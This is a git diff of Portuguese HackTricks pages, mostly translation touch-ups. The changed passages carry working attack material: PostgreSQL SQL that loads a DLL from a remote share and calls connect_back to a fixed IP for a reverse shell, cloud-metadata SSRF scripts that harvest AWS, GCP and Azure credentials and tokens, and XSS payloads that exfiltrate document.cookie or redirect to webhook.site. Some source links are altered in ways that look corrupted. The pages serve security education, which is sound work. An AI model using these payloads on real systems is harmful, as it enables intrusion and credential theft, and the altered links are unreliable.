O PostgreSQL foi desenvolvido com a extensibilidade como uma característica central, permitindo que ele integre extensões como se fossem funcionalidades embutidas. Essas extensões, essencialmente bibliotecas escritas em C, enriquecem o banco de dados com funções, operadores ou tipos adicionais.
O PostgreSQL foi desenvolvido com a extensibilidade como uma característica central, permitindo que ele integre extensões de forma transparente, como se fossem funcionalidades embutidas. Essas extensões, essencialmente bibliotecas escritas em C, enriquecem o banco de dados com funções, operadores ou tipos adicionais.
A partir da versão 8.1, uma exigência específica é imposta às bibliotecas de extensão: elas devem ser compiladas com um cabeçalho especial. Sem isso, o PostgreSQL não as executará, garantindo que apenas extensões compatíveis e potencialmente seguras sejam usadas.
@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Este erro é explicado na [documentação do PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um “bloco mágico” com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, após ter incluído o cabeçalho fmgr.h:
> Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um "bloco mágico" com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, após ter incluído o cabeçalho fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
@ -170,7 +170,7 @@ Você pode encontrar a DLL compilada neste zip:
pgsql_exec.zip
{{#endfile}}
Você pode indicar a esta DLL **qual binário executar** e o número de vezes para executá-lo, neste exemplo, ele executará `calc.exe` 2 vezes:
Você pode indicar a esta DLL **qual binário executar** e o número de vezes que deve executá-lo, neste exemplo, ele executará `calc.exe` 2 vezes:
```bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
@ -258,13 +258,13 @@ Observe como, neste caso, o **código malicioso está dentro da função DllMain
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
O [PolyUDF project](https://github.com/rop-la/PolyUDF) também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: _command eval_, _exec_ e _cleanup_) com suporte a multiversões.
O [PolyUDF project](https://github.com/rop-la/PolyUDF) também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: _command eval_, _exec_ e _cleanup_) com suporte a múltiplas versões.
### RCE nas versões mais recentes do PostgreSQL
Nas **últimas versões** do PostgreSQL, restrições foram impostas onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios são **protegidos** contra operações de gravação pelos contas NETWORK_SERVICE ou postgres.
Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios são **protegidos** contra operações de gravação pelos contas NETWORK_SERVICE ou postgres.
Apesar dessas restrições, é possível para um `superuser` autenticado **gravar arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à gravação dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
Apesar dessas restrições, é possível para um `superuser` autenticado **gravar arquivos binários** no sistema de arquivos usando "objetos grandes." Essa capacidade se estende à gravação dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** no diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para gravar um arquivo de biblioteca compartilhada no diretório de dados e, em seguida, **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
@ -276,15 +276,15 @@ Primeiro, você precisa **usar objetos grandes para fazer o upload da dll**. Voc
big-binary-files-upload-postgresql.md
{{#endref}}
Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) para o diretório de dados, você pode carregá-la com:
Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_Note que você não precisa adicionar a extensão `.dll`, pois a função create irá adicioná-la._
Para mais informações **leia a** [**publicação original aqui**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
Nesta publicação **este foi o** [**código usado para gerar a extensão postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_para aprender como compilar uma extensão postgres, leia qualquer uma das versões anteriores_).\
Para mais informações **leia a** [**publicação original aqui**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
Nesta publicação **este foi o** [**código usado para gerar a extensão postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_para aprender como compilar uma extensão postgres, leia qualquer uma das versões anteriores_).\
Na mesma página, este **exploit para automatizar** esta técnica foi fornecido:
```python
#!/usr/bin/env python3

View File

@ -15,7 +15,7 @@ Existem **2 versões** do endpoint de metadados. A **primeira** permite **acessa
>
> Além disso, **IMDSv2** também **bloqueará requisições para buscar um token que incluam o cabeçalho `X-Forwarded-For`**. Isso é para evitar que proxies reversos mal configurados consigam acessá-lo.
Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No seguinte script, algumas informações interessantes são obtidas a partir dele:
Você pode encontrar informações sobre os [endpoints de metadados na documentação](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). No script a seguir, algumas informações interessantes são obtidas a partir dele:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
@ -77,7 +77,7 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
```
Como um **exemplo de credenciais IAM disponíveis publicamente** expostas, você pode visitar: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Você também pode verificar **credenciais de segurança EC2 públicas** em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Você também pode verificar **credenciais de segurança EC2** públicas em: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Você pode então pegar **essas credenciais e usá-las com o AWS CLI**. Isso permitirá que você faça **qualquer coisa que o papel tenha permissões** para fazer.
@ -92,7 +92,7 @@ Note o **aws_session_token**, isso é indispensável para o perfil funcionar.
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escalar privilégios.
### SSRF em credenciais do AWS ECS (Serviço de Contêiner)
### SSRF em credenciais do AWS ECS (Container Service)
**ECS** é um grupo lógico de instâncias EC2 nas quais você pode executar um aplicativo sem precisar escalar sua própria infraestrutura de gerenciamento de cluster, pois o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no **ECS**, os **endpoints de metadados mudam**.
@ -102,7 +102,7 @@ O endereço http mencionado deve fornecer a **AccessKey, SecretKey e token**.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
> [!NOTE]
> [!TIP]
> Note que em **alguns casos** você poderá acessar os **metadados da instância EC2** a partir do contêiner (verifique as limitações de TTL do IMDSv2 mencionadas anteriormente). Nesses cenários, a partir do contêiner, você poderia acessar tanto o papel IAM do contêiner quanto o papel IAM da EC2.
### SSRF para AWS Lambda
@ -115,12 +115,12 @@ O **nome** das **variáveis de ambiente interessantes** são:
- `AWS_SECRET_ACCESS_KEY`
- `AWS_ACCES_KEY_ID`
Além disso, além das credenciais IAM, as funções Lambda também têm **dados de evento que são passados para a função quando ela é iniciada**. Esses dados são disponibilizados para a função através da [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações** **sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis via SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Além disso, além das credenciais IAM, as funções Lambda também têm **dados de evento que são passados para a função quando ela é iniciada**. Esses dados são disponibilizados para a função através da [interface de runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) e podem conter **informações** **sensíveis** (como dentro das **stageVariables**). Ao contrário das credenciais IAM, esses dados são acessíveis através de SSRF padrão em **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
> [!WARNING]
> Note que as **credenciais lambda** estão dentro das **variáveis de ambiente**. Portanto, se o **stack trace** do código lambda imprimir variáveis de ambiente, é possível **exfiltrá-las provocando um erro** no aplicativo.
### SSRF URL para AWS Elastic Beanstalk
### URL SSRF para AWS Elastic Beanstalk
Nós recuperamos o `accountId` e `region` da API.
```
@ -143,9 +143,9 @@ Você pode [**encontrar aqui a documentação sobre endpoints de metadados**](ht
Requer o cabeçalho HTTP **`Metadata-Flavor: Google`** e você pode acessar o endpoint de metadados com as seguintes URLs:
- http://169.254.169.254
- http://metadata.google.internal
- http://metadata
- [http://169.254.169.254](http://169.254.169.254)
- [http://metadata.google.internal](http://metadata.google.internal)
- [http://metadata](http://metadata)
Endpoints interessantes para extrair informações:
```bash
@ -232,7 +232,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> Para **usar o token de conta de serviço exfiltrado** você pode apenas fazer:
> Para **usar o token de conta de serviço exfiltrado**, você pode simplesmente fazer:
>
> ```bash
> # Via env vars
@ -327,16 +327,16 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> Ao solicitar um token de acesso para o endpoint de metadados, por padrão, o serviço de metadados usará a **identidade gerenciada atribuída ao sistema** para gerar o token, se houver alguma identidade gerenciada atribuída ao sistema. No caso de haver apenas **UMA identidade gerenciada atribuída ao usuário**, então esta será usada por padrão. No entanto, se não houver identidade gerenciada atribuída ao sistema e houver **múltiplas identidades gerenciadas atribuídas ao usuário**, então o serviço de metadados retornará um erro indicando que há múltiplas identidades gerenciadas e é necessário **especificar qual usar**.
>
> Infelizmente, não consegui encontrar nenhum endpoint de metadados indicando todas as IAs que uma VM tem anexadas, então descobrir todas as identidades gerenciadas atribuídas a uma VM pode ser uma tarefa difícil do ponto de vista de uma Red Team.
> Infelizmente, não consegui encontrar nenhum endpoint de metadados indicando todas as MIs que uma VM tem anexadas, então descobrir todas as identidades gerenciadas atribuídas a uma VM pode ser uma tarefa difícil do ponto de vista de uma Red Team.
>
> Portanto, para encontrar todas as IAs anexadas, você pode fazer:
> Portanto, para encontrar todas as MIs anexadas, você pode fazer:
>
> - Obter **identidades anexadas com az cli** (se você já comprometeu um principal no locatário do Azure)
>
> ```bash
> az vm identity show \
> --resource-group <rsc-group> \
> --name <vm-name>
> --resource-group <rsc-group> \
> --name <vm-name>
> ```
>
> - Obter **identidades anexadas** usando a MI padrão anexada nos metadados:
@ -346,20 +346,20 @@ curl http://169.254.169.254/metadata/v1.json | jq
>
> # Obter token da MI padrão
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Obter detalhes necessários
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Tentar obter IAs anexadas
> # Tentar obter MIs anexadas
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Obter todas** as identidades gerenciadas definidas no locatário e **forçar** para ver se alguma delas está anexada à VM:
@ -427,6 +427,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
{{#endtab}}
{{#endtabs}}
> [!WARNING]
> Note que o endpoint **`http://169.254.169.254/metadata/v1/instanceinfo` não requer o cabeçalho `Metadata: True`**, o que é ótimo para mostrar o impacto em vulnerabilidades SSRF no Azure, onde você não pode adicionar esse cabeçalho.
### Azure App & Functions Services & Automation Accounts
A partir do **env**, você pode obter os valores de **`IDENTITY_HEADER`** e **`IDENTITY_ENDPOINT`**. Que você pode usar para obter um token para se comunicar com o servidor de metadados.

View File

@ -84,8 +84,8 @@ x="<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5
```html
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
- [https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt](https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt)
- [https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields](https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields)
-->
[a](javascript:prompt(document.cookie))
@ -97,7 +97,7 @@ Fuzzing examples from
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:alert('XSS'))
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[lol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

View File

@ -8,18 +8,18 @@
> Estes são os **valores do Projeto HackTricks**:
>
> - Dar acesso **GRATUITO** a recursos de **HACKING EDUCACIONAL** para **TODOS** na Internet.
> - Hacking é sobre aprender, e aprender deve ser o mais gratuito possível.
> - O objetivo deste livro é servir como um **recurso educacional** abrangente.
> - **ARMAZENAR** técnicas de **hacking** incríveis que a comunidade publica, dando aos **AUTORES** **ORIGINAIS** todos os **créditos**.
> - **Não queremos o crédito de outras pessoas**, apenas queremos armazenar truques legais para todos.
> - Também escrevemos **nossas próprias pesquisas** no HackTricks.
> - Em vários casos, escreveremos **no HackTricks um resumo das partes importantes** da técnica e **encorajaremos o leitor a visitar o post original** para mais detalhes.
> - **ORGANIZAR** todas as técnicas de hacking no livro para que sejam **MAIS ACESSÍVEIS**
> - A equipe do HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido**
> - Hacking é sobre aprender, e aprender deve ser o mais gratuito possível.
> - O objetivo deste livro é servir como um **recurso educacional** abrangente.
> - **ARMAZENAR** técnicas de **hacking** incríveis que a comunidade publica, dando todos os **créditos** aos **AUTORES ORIGINAIS**.
> - **Não queremos o crédito de outras pessoas**, apenas queremos armazenar truques legais para todos.
> - Também escrevemos **nossas próprias pesquisas** no HackTricks.
> - Em vários casos, escreveremos **no HackTricks um resumo das partes importantes** da técnica e **incentivaremos o leitor a visitar o post original** para mais detalhes.
> - **ORGANIZAR** todas as técnicas de hacking no livro para que seja **MAIS ACESSÍVEL**
> - A equipe do HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
## FAQ do HackTricks
## faq do HackTricks
> [!TIP]
>
@ -50,7 +50,7 @@ Sim, você pode, mas **não se esqueça de mencionar o(s) link(s) específico(s)
>
> - **Como posso citar uma página do HackTricks?**
Desde que o link **da** página(s) de onde você obteve a informação apareça, é suficiente.\
Desde que o link **da** página(s) de onde você obteve as informações apareça, é suficiente.\
Se você precisar de um bibtex, pode usar algo como:
```latex
@misc{hacktricks-bibtexing,
@ -64,7 +64,7 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Posso copiar todos os HackTricks no meu blog?**
**Eu preferiria que não**. Isso **não vai beneficiar ninguém**, já que todo o **conteúdo já está disponível publicamente** nos livros oficiais do HackTricks gratuitamente.
**Eu preferiria que não**. Isso **não vai beneficiar ninguém**, pois todo o **conteúdo já está disponível publicamente** nos livros oficiais do HackTricks gratuitamente.
Se você teme que isso desapareça, basta fazer um fork no Github ou baixá-lo, como eu disse, já é gratuito.
@ -76,7 +76,7 @@ O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hack
Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas de cibersegurança relevantes** para patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais que os tornem **visíveis**, mas que **não atrapalhem o processo de aprendizado** se alguém se concentrar no conteúdo.
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**patrocinadores do Github**](https://github.com/sponsors/carlospolop), e **empresas de cibersegurança relevantes** para patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais que os tornem **visíveis**, mas que **não atrapalhem o processo de aprendizado** se alguém se concentrar no conteúdo.
Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com muito menos conteúdo do que o HackTricks, porque o HackTricks não é feito para fins comerciais.
@ -84,7 +84,7 @@ Você não encontrará o HackTricks cheio de anúncios irritantes como outros bl
>
> - **O que devo fazer se alguma página do HackTricks for baseada no meu post de blog, mas não estiver referenciada?**
**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via Github issues, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **nós iremos verificar e adicionar o mais rápido possível**.
**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via problemas do Github, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **nós iremos verificar e adicionar o mais rápido possível**.
> [!CAUTION]
>
@ -130,7 +130,7 @@ Esta licença não concede nenhum direito de marca registrada ou de branding em
## **Disclaimer**
> [!CAUTION]
> Este livro, 'HackTricks', é destinado apenas para fins educacionais e informativos. O conteúdo dentro deste livro é fornecido em uma base 'como está', e os autores e editores não fazem representações ou garantias de qualquer tipo, expressas ou implícitas, sobre a completude, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos neste livro. Qualquer confiança que você coloque em tais informações é, portanto, estritamente por sua conta e risco.
> Este livro, 'HackTricks', é destinado apenas para fins educacionais e informativos. O conteúdo dentro deste livro é fornecido em uma base 'como está', e os autores e editores não fazem representações ou garantias de qualquer tipo, expressas ou implícitas, sobre a completude, precisão, confiabilidade, adequação ou disponibilidade das informações, produtos, serviços ou gráficos relacionados contidos dentro deste livro. Qualquer confiança que você coloque em tais informações é, portanto, estritamente por sua conta e risco.
>
> Os autores e editores não serão, em nenhuma circunstância, responsáveis por qualquer perda ou dano, incluindo, sem limitação, perda ou dano indireto ou consequencial, ou qualquer perda ou dano que possa surgir da perda de dados ou lucros decorrentes do uso deste livro.
>

View File

@ -23,17 +23,17 @@
### Autoridades Certificadoras (CAs) no Active Directory (AD)
O AD CS reconhece certificados de CA em uma floresta AD através de contêineres designados, cada um servindo a papéis únicos:
O AD CS reconhece certificados CA em uma floresta AD através de contêineres designados, cada um servindo a papéis únicos:
- O contêiner **Certification Authorities** contém certificados de CA raiz confiáveis.
- O contêiner **Certification Authorities** contém certificados CA raiz confiáveis.
- O contêiner **Enrolment Services** detalha CAs Empresariais e seus modelos de certificado.
- O objeto **NTAuthCertificates** inclui certificados de CA autorizados para autenticação AD.
- O contêiner **AIA (Authority Information Access)** facilita a validação da cadeia de certificados com certificados de CA intermediários e cruzados.
- O objeto **NTAuthCertificates** inclui certificados CA autorizados para autenticação AD.
- O contêiner **AIA (Authority Information Access)** facilita a validação da cadeia de certificados com certificados CA intermediários e cruzados.
### Aquisição de Certificado: Fluxo de Solicitação de Certificado do Cliente
1. O processo de solicitação começa com os clientes encontrando uma CA Empresarial.
2. Um CSR é criado, contendo uma chave pública e outros detalhes, após a geração de um par de chaves pública-privada.
2. Um CSR é criado, contendo uma chave pública e outros detalhes, após gerar um par de chaves pública-privada.
3. A CA avalia o CSR em relação aos modelos de certificado disponíveis, emitindo o certificado com base nas permissões do modelo.
4. Após a aprovação, a CA assina o certificado com sua chave privada e o retorna ao cliente.
@ -43,7 +43,7 @@ Definidos dentro do AD, esses modelos delineiam as configurações e permissões
## Inscrição de Certificado
O processo de inscrição para certificados é iniciado por um administrador que **cria um modelo de certificado**, que é então **publicado** por uma Autoridade Certificadora Empresarial (CA). Isso torna o modelo disponível para a inscrição do cliente, um passo alcançado ao adicionar o nome do modelo ao campo `certificatetemplates` de um objeto do Active Directory.
O processo de inscrição para certificados é iniciado por um administrador que **cria um modelo de certificado**, que é então **publicado** por uma Autoridade Certificadora Empresarial (CA). Isso torna o modelo disponível para a inscrição do cliente, um passo alcançado adicionando o nome do modelo ao campo `certificatetemplates` de um objeto do Active Directory.
Para que um cliente solicite um certificado, **direitos de inscrição** devem ser concedidos. Esses direitos são definidos por descritores de segurança no modelo de certificado e na própria CA Empresarial. As permissões devem ser concedidas em ambos os locais para que uma solicitação seja bem-sucedida.
@ -123,24 +123,24 @@ certutil -v -dstemplate
## Vulnerabilidades Recentes & Atualizações de Segurança (2022-2025)
| Ano | ID / Nome | Impacto | Principais Conclusões |
|-----|-----------|---------|----------------------|
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Escalação de privilégios* ao falsificar certificados de conta de máquina durante o PKINIT. | O patch está incluído nas atualizações de segurança de **10 de maio de 2022**. Controles de auditoria e mapeamento forte foram introduzidos via **KB5014754**; os ambientes devem agora estar em modo *Full Enforcement*. citeturn2search0 |
| 2023 | **CVE-2023-35350 / 35351** | *Execução remota de código* nos papéis de Inscrição da Web do AD CS (certsrv) e CES. | PoCs públicos são limitados, mas os componentes vulneráveis do IIS estão frequentemente expostos internamente. Patch a partir de **julho de 2023** Patch Tuesday. citeturn3search0 |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Usuários com privilégios baixos e direitos de inscrição poderiam substituir **qualquer** EKU ou SAN durante a geração de CSR, emitindo certificados utilizáveis para autenticação de cliente ou assinatura de código, levando a *comprometimento de domínio*. | Abordado nas atualizações de **abril de 2024**. Remover “Supply in the request” dos templates e restringir permissões de inscrição. citeturn1search3 |
|-----|-----------|---------|-----------------------|
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *Escalação de privilégios* ao falsificar certificados de conta de máquina durante o PKINIT. | O patch está incluído nas atualizações de segurança de **10 de maio de 2022**. Controles de auditoria e mapeamento forte foram introduzidos via **KB5014754**; os ambientes devem agora estar em modo *Full Enforcement*. |
| 2023 | **CVE-2023-35350 / 35351** | *Execução remota de código* nos papéis de Inscrição da Web do AD CS (certsrv) e CES. | PoCs públicos são limitados, mas os componentes vulneráveis do IIS estão frequentemente expostos internamente. Patch a partir de **julho de 2023** Patch Tuesday. |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | Usuários com privilégios baixos e direitos de inscrição poderiam substituir **qualquer** EKU ou SAN durante a geração de CSR, emitindo certificados utilizáveis para autenticação de cliente ou assinatura de código, levando a *comprometimento de domínio*. | Abordado nas atualizações de **abril de 2024**. Remover “Supply in the request” dos templates e restringir permissões de inscrição. |
### Cronograma de endurecimento da Microsoft (KB5014754)
A Microsoft introduziu um rollout em três fases (Compatibilidade → Auditoria → Aplicação) para mover a autenticação de certificados Kerberos para longe de mapeamentos implícitos fracos. A partir de **11 de fevereiro de 2025**, controladores de domínio alternam automaticamente para **Full Enforcement** se o valor de registro `StrongCertificateBindingEnforcement` não estiver definido. Os administradores devem:
A Microsoft introduziu um rollout em três fases (Compatibilidade → Auditoria → Aplicação) para mover a autenticação de certificados Kerberos para longe de mapeamentos implícitos fracos. A partir de **11 de fevereiro de 2025**, controladores de domínio alternam automaticamente para **Full Enforcement** se o valor do registro `StrongCertificateBindingEnforcement` não estiver definido. Os administradores devem:
1. Aplicar patches em todos os DCs e servidores AD CS (maio de 2022 ou posterior).
2. Monitorar o ID do Evento 39/41 para mapeamentos fracos durante a fase de *Auditoria*.
3. Reemitir certificados de autenticação de cliente com a nova **extensão SID** ou configurar mapeamentos manuais fortes antes de fevereiro de 2025. citeturn2search0
3. Reemitir certificados de autenticação de cliente com a nova **extensão SID** ou configurar mapeamentos manuais fortes antes de fevereiro de 2025.
---
## Detecção & Melhorias de Endurecimento
## Melhorias de Detecção & Endurecimento
* O **Defender for Identity AD CS sensor (2023-2024)** agora apresenta avaliações de postura para ESC1-ESC8/ESC11 e gera alertas em tempo real, como *“Emissão de certificado de controlador de domínio para um não-DC”* (ESC8) e *“Impedir Inscrição de Certificado com Políticas de Aplicação arbitrárias”* (ESC15). Certifique-se de que os sensores estão implantados em todos os servidores AD CS para se beneficiar dessas detecções. citeturn5search0
* O **Defender for Identity AD CS sensor (2023-2024)** agora apresenta avaliações de postura para ESC1-ESC8/ESC11 e gera alertas em tempo real, como *“Emissão de certificado de controlador de domínio para um não-DC”* (ESC8) e *“Prevenir Inscrição de Certificado com Políticas de Aplicação arbitrárias”* (ESC15). Certifique-se de que os sensores estão implantados em todos os servidores AD CS para se beneficiar dessas detecções.
* Desative ou restrinja rigorosamente a opção **“Supply in the request”** em todos os templates; prefira valores SAN/EKU definidos explicitamente.
* Remova **Any Purpose** ou **No EKU** dos templates, a menos que absolutamente necessário (aborda cenários ESC2).
* Exija **aprovação do gerente** ou fluxos de trabalho dedicados de Agente de Inscrição para templates sensíveis (por exemplo, WebServer / CodeSigning).

View File

@ -10,7 +10,7 @@ A Data Protection API (DPAPI) é utilizada principalmente dentro do sistema oper
A maneira mais comum de usar o DPAPI é através das funções **`CryptProtectData` e `CryptUnprotectData`**, que permitem que aplicativos criptografem e descriptografem dados de forma segura com a sessão do processo que está atualmente logado. Isso significa que os dados criptografados só podem ser descriptografados pelo mesmo usuário ou sistema que os criptografou.
Além disso, essas funções também aceitam um **parâmetro `entropy`** que será utilizado durante a criptografia e descriptografia; portanto, para descriptografar algo criptografado usando esse parâmetro, você deve fornecer o mesmo valor de entropia que foi usado durante a criptografia.
